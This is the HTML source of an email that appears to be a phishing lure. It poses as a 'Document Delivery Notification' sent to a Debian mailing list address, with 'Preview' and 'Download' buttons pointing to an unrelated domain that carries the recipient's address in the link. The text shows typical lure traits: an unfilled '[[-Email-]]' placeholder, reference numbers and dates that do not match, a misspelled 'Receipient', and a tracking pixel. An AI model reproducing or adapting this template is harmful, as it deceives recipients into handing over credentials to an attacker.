<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document Delivery Notification</title>
<style>
/* Base Styles - Legacy Compatible */
body, div, p, h1, h2, a, img {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Segoe UI', Arial, sans-serif;
}
body {
background-color: #f8f9fa;
color: #333333;
line-height: 1.6;
padding: 20px;
font-size: 14px;
}
.email-container {
max-width: 600px;
margin: 0 auto;
background: white;
border-radius: 12px;
overflow: hidden;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
}
/* Header Styles */
.email-header {
background: #1a3a8f;
background: linear-gradient(135deg, #1a3a8f 0%, #2563eb 100%);
color: white;
padding: 30px 40px;
text-align: center;
}
.logo-container {
margin-bottom: 20px;
}
.logo {
max-width: 180px;
height: auto;
display: block;
margin: 0 auto;
}
.header-title {
font-size: 24px;
font-weight: 600;
margin-bottom: 8px;
}
.header-subtitle {
font-size: 16px;
opacity: 0.9;
font-weight: 400;
}
/* Content Styles */
.email-content {
padding: 40px;
}
.greeting {
margin-bottom: 25px;
color: #1e293b;
}
.document-card {
background: #f8fafc;
border-radius: 10px;
padding: 25px;
margin-bottom: 30px;
border-left: 4px solid #2563eb;
}
.card-title {
font-size: 18px;
font-weight: 600;
margin-bottom: 20px;
color: #1e293b;
}
.document-details {
width: 100%;
display: block;
overflow: hidden;
}
.detail-row {
width: 100%;
margin-bottom: 12px;
overflow: hidden;
}
.detail-column {
width: 48%;
float: left;
margin-right: 4%;
}
.detail-column:nth-child(2n) {
margin-right: 0;
}
.detail-label {
font-size: 14px;
color: #64748b;
margin-bottom: 4px;
}
.detail-value {
font-size: 16px;
font-weight: 500;
color: #1e293b;
}
.additional-info {
margin-top: 20px;
padding-top: 20px;
border-top: 1px solid #e2e8f0;
width: 100%;
display: block;
overflow: hidden;
}
.additional-column {
width: 48%;
float: left;
margin-right: 4%;
}
.additional-column:nth-child(2n) {
margin-right: 0;
}
/* Action Buttons */
.action-container {
text-align: center;
margin: 30px 0;
width: 100%;
}
.action-button {
display: inline-block;
text-align: center;
padding: 12px 24px;
border-radius: 8px;
text-decoration: none;
font-weight: 600;
font-size: 15px;
margin: 0 8px 10px 8px;
min-width: 140px;
border: none;
cursor: pointer;
}
.button-primary {
background: #2563eb;
color: white;
box-shadow: 0 2px 4px rgba(37, 99, 235, 0.2);
}
.button-secondary {
background: white;
color: #2563eb;
border: 2px solid #2563eb;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
/* Security Notice */
.security-notice {
background: #fef3cd;
border: 1px solid #fde68a;
border-radius: 8px;
padding: 15px;
margin: 25px 0;
font-size: 14px;
color: #92400e;
}
.security-title {
font-weight: 600;
margin-bottom: 5px;
}
.security-icon {
margin-right: 8px;
}
/* Footer */
.email-footer {
background: #1e293b;
color: #cbd5e1;
padding: 30px 40px;
text-align: center;
font-size: 14px;
}
.footer-links {
margin: 20px 0;
}
.footer-link {
color: #cbd5e1;
text-decoration: none;
margin: 0 10px;
}
.copyright {
margin-top: 20px;
font-size: 12px;
opacity: 0.7;
}
.unsubscribe {
margin-top: 15px;
font-size: 12px;
opacity: 0.7;
}
/* Clearfix for floats */
.clearfix:after {
content: "";
display: table;
clear: both;
}
/* Responsive */
@media screen and (max-width: 600px) {
body {
padding: 10px;
}
.email-container {
border-radius: 8px;
}
.email-header, .email-content, .email-footer {
padding: 25px 20px;
}
.detail-column, .additional-column {
width: 100%;
float: none;
margin-right: 0;
margin-bottom: 15px;
}
.action-button {
display: block;
width: 100%;
max-width: 250px;
margin: 0 auto 10px auto;
}
}
/* Fallbacks for very old browsers */
.fallback-table {
display: none;
}
</style>
<!--[if lt IE 10]>
<style>
.document-details, .additional-info {
display: table;
width: 100%;
}
.detail-row {
display: table-row;
}
.detail-column, .additional-column {
display: table-cell;
width: 50%;
padding: 5px;
vertical-align: top;
}
.action-button {
display: inline-block !important;
}
</style>
<![endif]-->
</head>
<body>
<div class="email-container" style="width: 636px; height: 1150px;">
<!-- Header -->
<div class="email-header">
<div class="logo-container">
<img class="logo" alt="Secure Document Delivery" src="https://i.imgur.com/28VQt8x.png">
</div>
<h1 class="header-title">Document Delivery Notification</h1>
<p class="header-subtitle">Secure file transmission completed successfully</p>
</div>
<!-- Content -->
<div class="email-content">
<div class="greeting">
<p>A new document has been securely delivered to reproducible-builds@lists.alioth.debian.org</p>
</div>
<div class="document-card">
<h2 class="card-title">Document Details</h2>
<div class="document-details clearfix">
<div class="detail-row">
<div class="detail-column">
<div class="detail-label">Document Size</div>
<div class="detail-value">34 KB</div>
</div>
<div class="detail-column">
<div class="detail-label">Number of Pages</div>
<div class="detail-value">02</div>
</div>
</div>
<div class="detail-row">
<div class="detail-column">
<div class="detail-label">Reference Number</div>
<div class="detail-value">3608-027354184</div>
</div>
<div class="detail-column">
<div class="detail-label">Document Type</div>
<div class="detail-value">xlsx</div>
</div>
</div>
</div>
<!-- Additional Information Section -->
<div class="additional-info clearfix">
<div class="additional-column" style="width: 49.37%; height: 52px;">
<div class="detail-label">Received & Processed</div>
<div class="detail-value">
<span style='color: rgb(51, 51, 51); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Ubuntu, Helvetica, Arial, sans-serif; font-size: 14.5px; font-style: normal; word-spacing: 0px; float: none; display: inline !important; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness:
initial; text-decoration-style: initial; text-decoration-color: initial;'>Jan 31 2026, 1:54 am</span></div><strong>
</strong></div><strong>
</strong><div class="additional-column" style="width: 38.73%; height: 78px;"><strong>
</strong><div class="detail-label">Receipient</div><strong>
</strong><div class="detail-value">reproducible-builds@lists.alioth.debian.org</div>
</div>
</div>
</div>
<div class="action-container">
<a clicktracking="off" class="action-button button-primary" href="https://amocoeastco.com#reproducible-builds@lists.alioth.debian.org">
<span class="button-icon"></span> PREVIEW DOCUMENT
</a>
<a clicktracking="off" class="action-button button-secondary" href="https://amocoeastco.com#reproducible-builds@lists.alioth.debian.org">
<span class="button-icon"></span> DOWNLOAD DOCUMENT
</a>
</div>
<div class="security-notice">
<div class="security-title">
<span class="security-icon"></span> Security Notice
</div>
<p>This document is securely stored and will be available for 7 days. Never share your login credentials or document links with others.</p>
</div>
<p style="text-align: center; color: rgb(100, 116, 139); font-size: 14px; margin-top: 20px;">
If you have any questions about this document, please contact our support team.
</p>
</div>
<!-- Footer -->
<div class="email-footer">
<div class="footer-links">
<a class="footer-link" href="#">Privacy Policy</a>
<a class="footer-link" href="#">Terms of Service</a>
<a class="footer-link" href="#">Contact Support</a>
</div>
<p class="copyright">
Copyright � 2026
</p>
<p class="unsubscribe">
This is an automated service message. If you no longer wish to receive these notifications,
<a style="color: rgb(203, 213, 225);" href="#">manage your preferences</a> or
<a style="color: rgb(203, 213, 225);" href="#">unsubscribe</a>.
</p>
</div>
</div>
<!-- Fallback table for very old browsers -->
<div class="fallback-table">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tbody><tr>
<td align="center">
<table width="600" style="background: white; border-radius: 12px;" border="0" cellspacing="0" cellpadding="20">
<tbody><tr>
<td align="center" style="background: rgb(37, 99, 235); padding: 30px; color: white;">
<h1 style="font-size: 24px; margin-bottom: 8px;">Document Delivery Notification</h1>
<p style="font-size: 16px;">Secure file transmission completed successfully</p>
</td>
</tr>
<tr>
<td style="padding: 40px;">
<p>A new document has been securely delivered to [[-Email-]]</p>
<div style="background: rgb(248, 250, 252); margin: 20px 0px; padding: 25px; border-radius: 10px; border-left-color: rgb(37, 99, 235); border-left-width: 4px; border-left-style: solid;">
<h2 style="font-size: 18px; margin-bottom: 20px;">Document Details</h2>
<table width="100%" cellspacing="0" cellpadding="10">
<tbody><tr>
<td width="50%"><strong>Document Size:</strong>34 KB</td>
<td width="50%"><strong>Number of Pages:</strong> 02</td>
</tr>
<tr>
<td><strong>Reference Number:</strong> 3608-1354184</td>
<td><strong>Document Type:</strong> Scanned DOCX</td>
</tr>
<tr>
<td><strong>Received & Processed:</strong> 30-01-2026, 01:21am</td>
<td><strong>Source:</strong> Finance Department</td>
</tr>
</tbody></table>
</div>
<div align="center" style="margin: 30px 0px;">
<a style="background: rgb(37, 99, 235); margin: 0px 8px; padding: 12px 24px; border-radius: 8px; color: white; text-decoration: none; display: inline-block;" href="#">Preview Document</a>
<a style="background: white; margin: 0px 8px; padding: 12px 24px; border-radius: 8px; border: 2px solid rgb(37, 99, 235); border-image: none; color: rgb(37, 99, 235); text-decoration: none; display: inline-block;" href="#">Download</a>
</div>
</td>
</tr>
</tbody></table>
</td>
</tr>
</tbody></table>
</div>
<a href='https://u49106640.ct.sendgrid.net/asm/unsubscribe/?user_id=49106640&data=lGeSMSeJ4JMvowWuxx1Wa18oHFabDrhXozftrQb_OXxoMDAwdTAwMIBZqkVKuL-4VDk-IzM_SFjks0A4kmMt_7LSUZlKs3Oc1KRCT-rEwyqWVHD6PRbAY9HaaHj_feXlheOYo9lhPssI_2X90uXIbtZlyes2VLCnjN4IHCtQxZ0cwSv6sXEQ5MvnPcLAAFvXen0qMOT3KvpMjM6zWZ3nhPQXdY-5kZN8uRWYa_KWYxx5PXryktN33YvfJ-Mhd9bJ1j3YAhfJxsb-GZ3zgCfJkig2Wy_PSNmN21oCz7r0jL6bNKLS15RaRNH2bzlRzCsiQB42IE1kVc7Po6NmlNwY7kN2RB6FZk9VdTUWuOlOCwtS_TYVhTJgMclOh0OozSKO-yFTNDSs18qZCPnrZT_JIKo9Fd8aBPHgkdswjiwr9SHwD4UYewfvCgDqKydGXrpVUaoNBMU2gUsh_xya8WkaSZChSjGcDMwG9WRwuxSYQiv0HNNuAmVusHKLMPCuiMlsrmzQuO_lPRjM5HQ_flkq4xEQOJ4AONpspJPaCxZ9zBRzYrWFxYt1TTfXYQFKmMXiqxIqh3VsCsdyrPTWrUx4vP6awVTl4zecWS28ZZvRqWS5AkFDsba_RHoh1wakrv_bSiGzJi0hUP6HvyWkrv_CSr7aNfzlJPbNk-q85VZ0V8XzcaoKzgJEBHubhbsZtw0_syhUH6oYpTEinKhuNDHkdGfGpEBFHRVJm1-mLjqbHQu4YMX6JF9MjNw0PIBzZhX_-NUktZ-8tDz-jsaZzKys6YvJiDdrjV79hNZPR8ESeN7UGRmP1woNZcmZkKmXgp5kPKbGnEf-hCCWhw9ZgU527ac2pfSMa0IvxzBb9P79bopBhnoNSwHegub-j9VvCkmpbUmbu4Ux2lHYgkD8Q_ViILYWlJT-jo_DlY38MyhmAE0c0s2e65FSRxLgsKCzOLGaK1Adhf_iIiZu6A-Y2eh-LsbyG8FHVBIYWGWiHVxWEXXbg6B4djdI4UGud1z2Xm1gwalqUWHFek4X3yPKa3ls5DOfvnuui_SsMOWT-y_x_v5i4VaQ7gTjUO-jcBfXKD07xtwYSqvsRwpjSyMKBI0eEpfqW8h7ZnNO2LGwEBSLLJs2AGV1kTFc9MHalmaESBgypp2P-lfHoF_qtsQXEZ4BfoQV7M2APgD7G_L_nXzwLhQ2qEI0vIcKsuaKfGEe3c84egaLMpeEvFo='>Unsubscribe From This List</a> | <a href='https://u49106640.ct.sendgrid.net/asm/?user_id=49106640&data=RX1FxRLIFtL4TmLZbT8wFj2Gg7850AJAALDIZ0-xTQRoMDAwdTAwME7SwA81j9GjfZ1NkG_adeW6Hf_NyD-axubwi31hKa2MJqWmBFCjZf4D8a2oY6hQgCmEtQHrxM1g_CImUHjgHOoEls8NSB-2QeYidTeyr3mv7IQF4_L6fZR3TGgKLjThtWDbPd5YYdw1FkCGLF2QBQMZyEjt5D78r7-5jq-BIlGvnCCpK8bS85advh0Dnr1Iz_dNba2qr1uDuZZIhx9T4GDfpBgUMRKlQcm2BHL2CLFd8Vi8jeRbCNkhRAd6favNolHo6Kf5EHRyCnNbtq2mf9XtcxmPyMnwWKbl72yUMa_uB2ArsC9DD_za6h_2eaXjF1r8E5-UbDkgYTycfOpH6-tlR_ViXPWZMwB00XOpp6FmtAwmMMrdrq1xf68eAO67lNnXYX7DBn1uwDSTye_KEUuw5RdTzoYfZobl5kOWxciTg9h6KUJDfYKMsqK3nzHNVN19Z3ZSb0eNeDFMfEt3GKptu6EFt-_JYINMXgXO46HVcBn9oo8SgGE0lrmBu5_lwTaALgPMiBw9o8s-6mxMwn72HDeZwVJNGxBEIhtU4fHyGaU5tWbULhvkYW9iPAaPQEByBL0InPoOdIXx_HV5ixr8IutNxTBWskqmjjbVXoGCc1juYnu9l2YGklUZ-JJyOZIT7tvQn5lC4nXuOLdzY7aOEQYkQmyR7senYJZriolRXLSOGRAhPxKrue1923PVvEvbXcVGrBiRpQnrekYQrR47a-05Hwzmr17lGkKTBavAjVTE5qFkuolnhCqnqhSW3Ul9F9eoZk-zqjNoYtFwmAAdC0etGkcTKzu3XWVvjbG2VKlYX_MNteD_rlSNxfkgvf_B7BRbr6OcX8FnoWsbxerc8wvoE5sQTfLFMVjNt0e-XsyCRtAQrCHididVuGQ2Cif1PUNFAH_IRuA9oh7bWcgc5tQ5ByCw0qw5cPQDbiGsjnEl_nM-OiEbeBK4bNr5Rfwmu7d9nNY0rqs8n2Y7O2icO3SraTZQR0n_6r0RMtTdQdUP4Zn1_g3hvyUFf13qEQnyKKU46CsHFAbF9jYDC0yZvvoQdRjmHkDDyZOVzQRmUOo5Q2Axv2mRKyymSbmf0uNNXxrXCfnjOe6cfkkji4rY6ebMnpvsFRTVN89Amrky-dFZ9BGjQa0Y7Zke7yod-vDrwLSBjvSYUTJhwoAuVq8='>Manage Email Preferences</a><img src="https://u49106640.ct.sendgrid.net/wf/open?upn=u001.oW2ePpZyvvrzapRDNuJzlRNkisC3RcJrio84yoL7LLuJzIfU8y17vTKAuikCsvqpr8kNbHasrnwwnv7-2Bx5zp4wKLTVgF5aTuIPLZyidsGC7fJLYWelqS-2BdHRG72Mon3TYQrDAdOn1LwzIfJm7rzQOFxnPReF52Rf5l6Qs9R1Ngr2uZDjYETzdbocqnc6Fk5IOvOtKMb-2FMn2axOVRzrIQceW6Sa1KMIQigw6AGj1VZLCXjxfrd0wWtrI4GOkhBCUWHvAGc0sWz2QmxYEN3EYGQf6yRg7bCvxCs9oFs2DFswy1C8Jsm7XeO5PxvEBXe-2FNMR4AE7qyoWxq9JjFsuT69mpUR7Ye7OGEhh8FNJ2rqfP3YblkGeBxByDlur9l7lJrxDiGC-2FBBxPivNHQK529Yd9QgEMmW9oZV-2FDwRM7FCLRvVtcFKz0ReZucKsqLF35Cl4NlkBwivMX7WGPFZke9sCn7WPQkmzm-2BGsRSQ2LbiaAehXji-2BqZnPj1DiOYePkYvA6pgAAMV9AtHX8QAec6yySSj41G8YqJpUvuT8bvzM2xmm-2BOdo3Ksat7zDoBnI9-2FfnVzsVsnrqQU438F4JD4fjwfQqs6OMkiG-2FMmtOHjjAJq81XgCazQew9MgGdGNCYGfbg-2B4uIawHtdAWMIXIhDsDfIVDNPfspdxYP5rhm6WMQDmBcYXVTNPN70tg0Cgbwb-2Bw-2BRrfz2FAZLul6yx0NMc1xOd5iSUQIVW-2FOcAtbWW9rwhMkvIQ2WVgZyk3SIF-2BKFkXJfjPU-2BXBtAvKduNbLeoIG3WbJNDbF3ijk0ov6GNhJa058Ifu36TBq7TgwyR7tCHZOGlk7y0jOuyaBIjFFhIkSLe6Te3tB-2FPQrEjHCiRUHCXXhrHhIZb-2F8SP9vvbxOnR9wOY9y4xxacbVGddl7mNkwvFBx5P53AKJuqFVuERcJjBQNpzzj02LC1Je3Q9Z2WyeWzUHqxQKRT9NjrJTk9-2BwHTbf6LwIDU49nCbj1uuzNB3pvg1HgwrbJA-2BWuH18xx8hjIcLlP7N0BKNw-2FhLBbyvlUw-3D-3D" alt="" width="1" height="1" border="0" style="height:1px !important;width:1px !important;border-width:0 !important;margin-top:0 !important;margin-bottom:0 !important;margin-right:0 !important;margin-left:0 !important;padding-top:0 !important;padding-bottom:0 !important;padding-right:0 !important;padding-left:0 !important;"/></body></html>